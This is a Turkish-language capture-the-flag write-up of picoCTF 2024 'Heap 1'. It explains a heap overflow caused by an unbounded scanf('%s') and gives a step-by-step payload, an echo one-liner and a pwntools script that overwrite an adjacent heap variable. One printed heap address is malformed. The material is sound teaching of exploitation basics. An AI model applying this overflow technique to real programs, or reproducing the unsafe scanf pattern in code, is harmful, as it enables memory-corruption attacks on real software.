PicoCTF
PicoCTF 2024 - Heap 1: Heap Overflow Zafiyetinin Temelleri
December 24, 2025
Şekil 1: Heap Overflow zafiyetinin görselleştirilmesi. Normal durumda ‘input_data’ ve ‘safe_var’ arasındaki padding boşluğu, taşma (leak) sırasında user girdisiyle dolarak hedef değişkenin üzerine yazılır.
Giriş
Bu challenge, heap overflow (yığın taşması) zafiyetini anlamamızı ve exploit etmemizi istiyor. Heap, programların çalışma zamanında dinamik bellek tahsis ettiği bir bellek bölgesidir. Stack’ten farklı olarak, heap’te veriler malloc() gibi fonksiyonlarla manuel olarak ayrılır.
Kaynak Kod Analizi
Kritik Değişkenler
#define INPUT_DATA_SIZE 5
#define SAFE_VAR_SIZE 5
char *safe_var;
char *input_data;
İki global pointer tanımlanmış ve her biri için heap’te 5 byte’lık alan ayrılacak.
Başlatma Fonksiyonu (init)
void init() {
input_data = malloc(INPUT_DATA_SIZE); // 5 byte ayır
strncpy(input_data, "pico", INPUT_DATA_SIZE); // "pico" yaz
safe_var = malloc(SAFE_VAR_SIZE); // 5 byte daha ayır
strncpy(safe_var, "bico", SAFE_VAR_SIZE); // "bico" yaz
}
Burada önemli bir nokta var: input_data önce, safe_var sonra tahsis ediliyor. Heap’te bu iki alan ardışık (veya yakın) adreslerde bulunacak.
Kazanma Koşulu (check_win)
void check_win() {
if (!strcmp(safe_var, "pico")) {
printf("\nYOU WIN\n");
// Flag yazdırılır
}
}
safe_var değişkeninin değeri "pico" olursa flag’i alıyoruz. Ancak başlangıçta bu değer "bico" olarak atanmış.
Zafiyetli Fonksiyon (write_buffer)
void write_buffer() {
printf("Data for buffer: ");
scanf("%s", input_data); // TEHLİKE!
}
İşte zafiyetin kaynağı! scanf("%s", ...) fonksiyonu girdiyi okurken hiçbir boyut kontrolü yapmaz. Boşluk karakterine kadar ne kadar veri girilirse girilsin hepsini okur. Ancak input_data için sadece 5 byte ayrılmıştı. Bu durum buffer overflow zafiyetine yol açar.
Heap Bellek Yapısı
Program çalıştığında heap şu şekilde görünür:
Şekil 2: Malloc chunk anatomisi. Her tahsisat için bir metadata (header) eklenir ve bellek hizalaması (alignment) için padding bırakılır.
Modern malloc implementasyonları (glibc) her tahsisat için metadata (chunk header) ekler ve bellek hizalaması (alignment) yapar. 64-bit sistemlerde bu genellikle 16 byte sınırlarına hizalanır.
Programı çalıştırıp “Print Heap” seçeneğini kullandığımızda:
[*] 0x5555555592a0 -> pico
[*] 0x5555555592c0 -> bico
0x5555555592c0 - 0x5555555592a0 = 0x20 = 32 byte
Yani input_data ile safe_var arasında 32 byte var.
Exploit Stratejisi
Amacımız safe_var değişkeninin içeriğini "bico" dan "pico" ya değiştirmek.
Bunun için yapacağımız şey şu: write_buffer() fonksiyonunu kullanarak input_data buffer’ına 32 byte’tan fazla veri yazacağız. İlk 32 byte, input_data ve aradaki boşluğu dolduracak, sonraki 4 byte ise safe_var‘ın üzerine yazılacak.
Yazılacak veri: [32 byte dolgu] + [pico]
Heap görünümü (yazma sonrası):
+------------------+------------------+
| AAAAAAAAAAAAA | AAAAAAAAAAAAA | <- 32 byte 'A'
+------------------+------------------+
| pico | | <- safe_var üzerine yazıldı!
+------------------+------------------+
Adım Adım Çözüm
Adım 1: Programı Başlat
$ ./chall
Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever
info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5baborc92a0 -> pico
+-------------+----------------+
[*] 0x5b4bc6c92c0 -> bico
+-------------+----------------+
Adım 2: Offset Hesapla
Adreslere bakarak: 0x...2c0 - 0x...2a0 = 0x20 = 32 byte
Adım 3: Payload Oluştur
32 tane ‘A’ karakteri ve ardından “pico”:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
Adım 4: Exploit’i Çalıştır
Menüden seçenek 2’yi seç ve payload’ı gir:
Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
Adım 5: Durumu Kontrol Et (Opsiyonel)
Seçenek 1 ile heap durumunu kontrol edebilirsin:
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] 0x5b4bc6c92a0 -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
+-------------+----------------+
[*] 0x5b4bc6c92c0 -> pico <- Değişti!
+-------------+----------------+
Adım 6: Flag’i Al
Seçenek 4’ü seç:
Enter your choice: 4
YOU WIN
picoCTF{...}
Şekil 3: Yerel ortamda exploit’in başarıyla çalıştırılması ve “YOU WIN” mesajının alınması.
Şekil 4: Uzak sunucu üzerinde exploit’in çalıştırılması ve nihai flag’in elde edilmesi.
Tek Satırda Exploit
echo -e "2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico\n4" | ./chall
veya Python ile:
from pwn import *
p = process('./chall')
# veya: p = remote('host', port)
p.sendlineafter('choice: ', '2')
p.sendlineafter('buffer: ', 'A'*32 + 'pico')
p.sendlineafter('choice: ', '4')
p.interactive()
Öğrenilen Kavramlar
Heap Overflow, stack overflow’a benzer ancak heap bölgesinde gerçekleşir. malloc() ile ayrılan alanların sınırlarının aşılması, heap’teki diğer verilerin üzerine yazılmasına neden olur.
Bellek Hizalama (Memory Alignment) konusunda modern sistemler performans için verileri belirli sınırlara hizalar. Bu yüzden 5 byte istesek bile malloc aslında daha fazla alan ayırır.
scanf Tehlikesi açısından scanf("%s", ...) asla güvenli değildir çünkü boyut kontrolü yapmaz. Güvenli alternatifler olarak fgets() veya scanf("%4s", ...) gibi boyut sınırlı formatlar kullanılmalıdır.
Sonuç
Bu challenge, heap overflow zafiyetinin temellerini öğretmek için tasarlanmış güzel bir başlangıç seviyesi problem. Gerçek dünyada heap exploitation çok daha karmaşıktır (heap metadata corruption, use-after-free, double-free gibi teknikler) ancak temel mantık aynıdır: bellek sınırlarını aşarak kontrolümüz dışındaki verileri manipüle etmek.
Yorumlar